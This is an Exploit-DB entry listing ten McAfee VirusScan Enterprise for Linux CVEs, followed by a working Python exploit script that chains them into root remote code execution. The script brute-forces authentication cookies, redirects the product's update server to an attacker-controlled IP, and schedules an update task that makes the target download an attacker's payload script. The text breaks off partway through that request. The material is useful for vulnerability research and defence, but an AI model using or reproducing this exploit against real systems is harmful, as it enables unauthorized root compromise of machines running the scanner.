Exploit-DB #40911
Description: McAfee Virus Scan Enterprise for Linux 1.9.2 < 2.0.2 - Remote Code Execution
Type: remote
Platform: linux
Date: 2016-12-13
Author: Andrew Fasano

Exploit:
'''
Source: https://nation.state.actor/mcafee.html

Vulnerabilities

CVE-2016-8016: Remote Unauthenticated File Existence Test
CVE-2016-8017: Remote Unauthenticated File Read (with Constraints)
CVE-2016-8018: No Cross-Site Request Forgery Tokens
CVE-2016-8019: Cross Site Scripting
CVE-2016-8020: Authenticated Remote Code Execution & Privilege Escalation
CVE-2016-8021: Web Interface Allows Arbitrary File Write to Known Location
CVE-2016-8022: Remote Use of Authentication Tokens
CVE-2016-8023: Brute Force Authentication Tokens
CVE-2016-8024: HTTP Response Splitting
CVE-2016-8025: Authenticated SQL Injection
When chaned together, these vulnerabilities allow a remote attacker to execute code as root.
'''
#!/bin/python3
import time
import requests
import os
import sys
import re
import threading
import subprocess
from http.server import BaseHTTPRequestHandler, HTTPServer
from socketserver import ThreadingMixIn

# Per-target configuration
target_domain="https://10.0.1.130" # https://target_ip
local_ip = '10.0.1.128'                 # Attacker IP for victim to connect back to
authorized_ip="127.0.0.1"           # IP address cookie will be valid for
update_server_port = 8080               # Port update server listens on
delay_seconds = 10                      # How long should the server take to serve the update
target_port = 55443                 # Port to target

# Put payload script in payload.sh

# Initialization
payload_in_place = threading.Event()
requests.packages.urllib3.disable_warnings()
with open("payload.sh", "r") as f:
    payload = f.read()

def pprint(inp, flag=False):
    pad = "#"
    if flag:
        pad = "*"
    print("\n" + pad+ " " + inp)


def crack_cookie():
    pprint("Cracking Cookie")

    # A page that requires authentication
    url = target_domain + ":" + str(target_port) + "/0409/nails?pg=proxy&tplt=productUpdate.html"

    # Start at the current time + 100 in case of recent login with clock skew
    date_val = int(time.time()+100)
    cookie_fmt = authorized_ip+"/n/0/%d-checksum// "+authorized_ip + " "*20

    # Make requests, print after every 600
    while True:
        cookie = cookie_fmt % date_val
        req_cookie = {"nailsSessionId": cookie}
        r = requests.get(url, cookies=req_cookie, verify=False)
        r.raise_for_status()

        if "Set-Cookie" in r.headers:
            valid_cookie = cookie
            timestamp = cookie.split("/")[3].split("-")[0]
            break

        elif date_val % 600 == 0:
            print("Now trying  %s" % time.asctime(time.localtime(date_val)))

        date_val -= 1

    pprint("Cookie Cracked: " + timestamp, True)
    return valid_cookie


def update_update_server(auth_cookie):
    pprint("Updating update server")

    # Replace McAfeeHttp update server with attacker local_ip:update_server_port
    url = target_domain + ":" + str(target_port) + "/0409/nails?pg=proxy&addr=127.0.0.1%3A65443&tplt=" \
    "repository.html&sitelist=add&mon%3A0=db+set+1+_table%3Drepository+status%3D1+siteList%3D%253C%253F" \
    "xml%2520version%253D%25221.0%2522%2520encoding%253D%2522UTF-8%2522%253F%253E%250A%253Cns%253ASiteLists" \
    "%2520xmlns%253Ans%253D%2522naSiteList%2522%2520GlobalVersion%253D%2522PATTeELCQSEhZwxKf4PoXNSY4%2Fg%25" \
    "3D%2522%2520LocalVersion%253D%2522Wed%252C%252030%2520Dec%25202009%252011%253A20%253A59%2520UTC%2522%2" \
    "520Type%253D%2522Client%2522%253E%253CPolicies%2F%253E%253CSiteList%2520Default%253D%25221%2522%2520Na" \
    "me%253D%2522SomeGUID%2522%253E%253CHttpSite%2520Type%253D%2522repository%2522%2520Name%253D%2522McAfee" \
    "Http%2522%2520Order%253D%25221%2522%2520Server%253D%2522"+local_ip+"%253A"+str(update_server_port) \
    + "%2522%2520Enabled%253D%25221%2522%2520Local%253D%25221%2522%253E%253CRelativePath%2F%253E%253CUseAuth%" \
    "253E0%253C%2FUseAuth%253E%253CUserName%253E%253C%2FUserName%253E%253CPassword%2520Encrypted%253D%25220" \
    "%2522%2F%253E%253C%2FHttpSite%253E%253CFTPSite%2520Type%253D%2522fallback%2522%2520Name%253D%2522McAfe" \
    "eFtp%2522%2520Order%253D%25222%2522%2520Server%253D%2522ftp.nai.com%253A21%2522%2520Enabled%253D%25221" \
    "%2522%2520Local%253D%25221%2522%253E%253CRelativePath%253ECommonUpdater%253C%2FRelativePath%253E%253CU" \
    "seAuth%253E1%253C%2FUseAuth%253E%253CUserName%253Eanonymous%253C%2FUserName%253E%253CPassword%2520Encr" \
    "ypted%253D%25221%2522%253ECommonUpdater%40McAfeeB2B.com%253C%2FPassword%253E%253C%2FFTPSite%253E%253C%" \
    "2FSiteList%253E%253C%2Fns%253ASiteLists%253E+_cmd%3Dupdate+&mon%3A1=task+setsitelist&mon%3A2=db+select" \
    "+_show%3DsiteList+_show%3Dstatus+_table%3Drepository&info%3A2=multi%2Cshow&reposProperty=repository&re" \
    "posProperty=fallback&useOfProxy=on"

    r = requests.get(url, cookies=auth_cookie, verify=False)
    r.raise_for_status()
    pprint("Updated update server", True)

def download_update(req_cookie):
    pprint("Requesting target download payload")

    # Send request to make target download payload
    url = target_domain + ":" + str(target_port) + "/0409/nails"

    updateName = "update_%d" % int(time.time())
    postdata = ("pg=proxy&addr=127.0.0.1%3A65443&tplt=scheduledTasks.html&scheduleOp=add&mon%3A0=db+set+1+_tab" \
    "le%3Dschedule++taskName%3D{0}+taskType%3DUpdate+taskInfo%3DtoUpdate%3Ddat%253Bengine+timetable%3Dtype%" \
    "3Dunscheduled+status%3DIdle++i_recurrenceCounter%3D0+&mon%3A1=task+nstart+{0}&mon%3A2=db+select+_asc%3D" \
    "taskName+_table%3Dschedule+_show%3Di_taskId+_show%3DtaskName+_show%3DtaskResults+_show%3Dtimetable+_sh" \
    "ow%3DtaskType+_show%3DtaskInfo+_show%3Di_lastRun+_show%3D%24i_lastRun+_show%3Dstatus+_show%3Dprogress+" \
    "_show%3Di_nextRun+_show%3D%24i_nextRun+_show%3Di_duration+_show%3DtaskInfo++_limit%3D50+_offset%3D0&in" \
    "fo%3A2=multi%2Cshow&mon%3A3=db+select+_table%3Dschedule+_show%3Dcount%28*%29&info%3A3=m